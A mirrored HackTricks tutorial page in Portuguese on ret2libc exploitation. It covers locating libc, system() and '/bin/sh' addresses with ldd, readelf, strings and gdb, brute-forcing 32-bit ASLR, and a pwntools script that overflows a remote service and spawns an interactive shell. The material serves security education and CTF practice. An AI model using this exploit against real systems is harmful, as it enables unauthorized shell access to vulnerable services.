Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-24 03:53:29 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib
History
Translator 66bd01724a Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo
2024-07-18 22:06:26 +00:00
..
rop-leaking-libc-address Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:06:26 +00:00
README.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:06:26 +00:00

README.md

Ret2lib

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Informações Básicas

A essência do Ret2Libc é redirecionar o fluxo de execução de um programa vulnerável para uma função dentro de uma biblioteca compartilhada (por exemplo, system, execve, strcpy) em vez de executar shellcode fornecido pelo atacante na pilha. O atacante cria um payload que modifica o endereço de retorno na pilha para apontar para a função da biblioteca desejada, enquanto também organiza para que quaisquer argumentos necessários sejam configurados corretamente de acordo com a convenção de chamada.

Exemplo de Passos (simplificado)

  • Obtenha o endereço da função a ser chamada (por exemplo, system) e o comando a ser chamado (por exemplo, /bin/sh)
  • Gere uma cadeia ROP para passar o primeiro argumento apontando para a string do comando e o fluxo de execução para a função

Encontrando os endereços

  • Supondo que a libc utilizada seja a da máquina atual, você pode encontrar onde ela será carregada na memória com:

{% code overflow="wrap" %}

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

{% endcode %}

Se você quiser verificar se o ASLR está mudando o endereço da libc, você pode fazer:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Sabendo a libc utilizada, também é possível encontrar o deslocamento para a função system com:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Sabendo a libc utilizada, também é possível encontrar o deslocamento para a string /bin/sh com:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Usando gdb-peda / GEF

Sabendo a libc utilizada, também é possível usar Peda ou GEF para obter o endereço da função system, da função exit e da string /bin/sh :

p system
p exit
find "/bin/sh"

Usando /proc/<PID>/maps

Se o processo está criando filhos toda vez que você fala com ele (servidor de rede), tente ler esse arquivo (provavelmente você precisará ser root).

Aqui você pode encontrar exatamente onde a libc está carregada dentro do processo e onde será carregada para cada filho do processo.

Neste caso, está carregada em 0xb75dc000 (Este será o endereço base da libc)

Libc desconhecida

Pode ser possível que você não saiba qual libc o binário está carregando (porque pode estar localizado em um servidor onde você não tem acesso). Nesse caso, você poderia abusar da vulnerabilidade para vazar alguns endereços e descobrir qual biblioteca libc está sendo usada:

{% content-ref url="rop-leaking-libc-address/" %} rop-leaking-libc-address {% endcontent-ref %}

E você pode encontrar um template do pwntools para isso em:

{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

Contornando ASLR em 32 bits

Esses ataques de força bruta são úteis apenas para sistemas de 32 bits.

  • Se o exploit for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Se você estiver atacando um servidor remoto, pode tentar forçar o endereço da função usleep da libc, passando como argumento 10 (por exemplo). Se em algum momento o servidor levar 10s a mais para responder, você encontrou o endereço dessa função.

One Gadget

{% content-ref url="../../one-gadget.md" %} one-gadget.md {% endcontent-ref %}

Exemplo de Código x86 Ret2lib

Neste exemplo, a força bruta do ASLR está integrada no código e o binário vulnerável está localizado em um servidor remoto:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Exemplo de Código

Verifique o exemplo em:

{% content-ref url="../rop-return-oriented-programing.md" %} rop-return-oriented-programing.md {% endcontent-ref %}

Ret-into-printf (ou puts)

Isso permite vazar informações do processo chamando printf/puts com alguns dados específicos colocados como argumento.

Ret2printf

Isso basicamente significa abusar de um Ret2lib para transformá-lo em uma vulnerabilidade de strings de formato printf usando o ret2lib para chamar printf com os valores para explorá-lo (parece inútil, mas é possível):

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Outros Exemplos & referências

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}